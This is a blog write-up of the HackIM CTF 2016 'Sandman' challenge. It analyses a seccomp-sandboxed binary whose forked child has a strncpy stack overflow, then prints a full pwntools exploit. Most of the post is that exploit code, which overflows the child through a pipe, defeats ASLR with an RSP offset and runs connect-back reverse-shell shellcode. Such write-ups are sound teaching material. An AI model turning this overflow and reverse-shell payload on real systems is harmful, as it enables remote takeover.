Wednesday, February 3, 2016

HackIM CTF 2016 - Exploitation 200 - Sandman

sandman is a 64 bit ELF without much memory protections
$ checksec --file ./sandman
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   ./sandman
sandman binary spawns a child process using fork. Parent and child could communicate via pipes. The parent process creates memory page with RWX permission of user specified size and reads data into it. SECCOMP is used to allow only a white list of syscalls - read, write, exit. After this the mmap region is called to execute supplied code.

Though we have code execution, it has limited use since only read/write syscalls could be made. Then I started analyzing the child process since communication can be done over pipes.

The function cmd_http_fetch@0000000000400CCA could be invoked by sending a value 0xE to the child. Further user input is read into a calloc buffer. Then function @0000000000400BAC is invoked to process this buffer. The function expects the buffer to start with 'http://' and later copies the data into stack, resulting in buffer overflow
len = strlen((user_input + 7));
strncpy(&dest, (user_input + 7), len);
So the idea of exploit is to use write syscalls in parent process to communicate with child to trigger the buffer overflow. Also there is no seccomp protection in child process. Since child is spawned using fork, RSP from parent could be used to compute the buffer address pointing to shellcode in child by a fixed offset thus bypassing ASLR. Below is the exploit:
#!/usr/bin/env python

from pwn import *

HOST = "52.72.171.221"
HOST = "127.0.0.1"
PORT = 9982
conn = remote(HOST, PORT)
context.arch = 'x86_64'

sc  = shellcraft.amd64.linux.syscall('SYS_alarm', 0) 
sc += shellcraft.amd64.linux.connect('127.1.1.1', 12345) 
sc += shellcraft.amd64.linux.dupsh()
sc  = asm(sc)

def gen_payload(sc):
    # pad for QWORDs
    sc += asm("nop") * (8 - (len(sc) % 8))
    payload = ''
    # generate mov rbx, QWORD; push rbx; sequence
    for i in range(0, len(sc), 8):
        qword = u64(sc[i:i+8])
        payload = asm("mov rbx, %d" % (qword)) + asm("push rbx") + payload
    return payload, len(sc)/8

pipe = 0x5
pipe = 0x4

size = p32(8092)
conn.send(size)

# send choice
shellcode  = asm("push 0xe")
shellcode += asm(shellcraft.amd64.linux.syscall('SYS_write', pipe, 'rsp', 1))

# send size
shellcode += asm("push 0x1000")
shellcode += asm(shellcraft.amd64.linux.syscall('SYS_write', pipe, 'rsp', 4))

# prepare payload for buffer overflow
# new line
shellcode += asm("mov rbx, 0x0a0a0a0a0a0a0a0a")
shellcode += asm("push rbx")

# padding for 4096 bytes
shellcode += asm("mov rbx, 0x9090909090909090")
shellcode += asm("push rbx") * 440

# RIP overwrite + ASLR bypass
shellcode += asm("mov rbx, rsp")
shellcode += asm("add rbx, 0xb20")
shellcode += asm("shr rbx, 0x8")
shellcode += asm("push rbx")

# last byte of address
shellcode += asm("mov rbx, 0xffffffffffffffff")
shellcode += asm("push rbx")

# fill buffer
shellcode += asm("mov rbx, 0x9090909090909090")
shellcode += asm("push rbx") * 5

# connect back shellcode
execve, qwords = gen_payload(sc)
shellcode += execve

# NOPs
shellcode += asm("mov rbx, 0x9090909090909090")
shellcode += asm("push rbx") * (63 - qwords)

# HTTP header
shellcode += asm("mov rbx, 0x902f2f3a70747468")
shellcode += asm("push rbx")

# write payload
shellcode += asm(shellcraft.amd64.linux.syscall('SYS_write', pipe, 'rsp', 0x1000))

# exit
shellcode += asm(shellcraft.amd64.linux.syscall('SYS_exit', 0))

shellcode += asm("nop") * (8091 - len(shellcode))
conn.send(shellcode + chr(0xa))

# flag-{br3k1ng-b4d-s4ndm4n}

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